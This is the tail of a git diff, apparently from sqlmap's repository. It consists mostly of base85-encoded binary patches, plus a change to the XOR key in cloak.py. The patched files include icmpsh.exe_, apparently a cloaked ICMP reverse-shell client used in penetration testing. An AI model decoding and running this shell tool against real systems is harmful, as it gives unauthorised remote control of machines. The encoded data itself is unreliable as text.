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 literal 4231 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 diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 617c38f2d..3576b6c99 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -21,7 +21,7 @@ if sys.version_info >= (3, 0): xrange = range ord = lambda _: _ -KEY = b"LGekORm7qYCsv39f" +KEY = b"MOZFqVjlk1CY436G" def xor(message, key): return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_ index 9ce69eb5e995e40067a877a1673a035c088dc19c..cf0bc7095db140ce933081928c8832bb1127b0b1 100644 GIT binary patch literal 7009 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 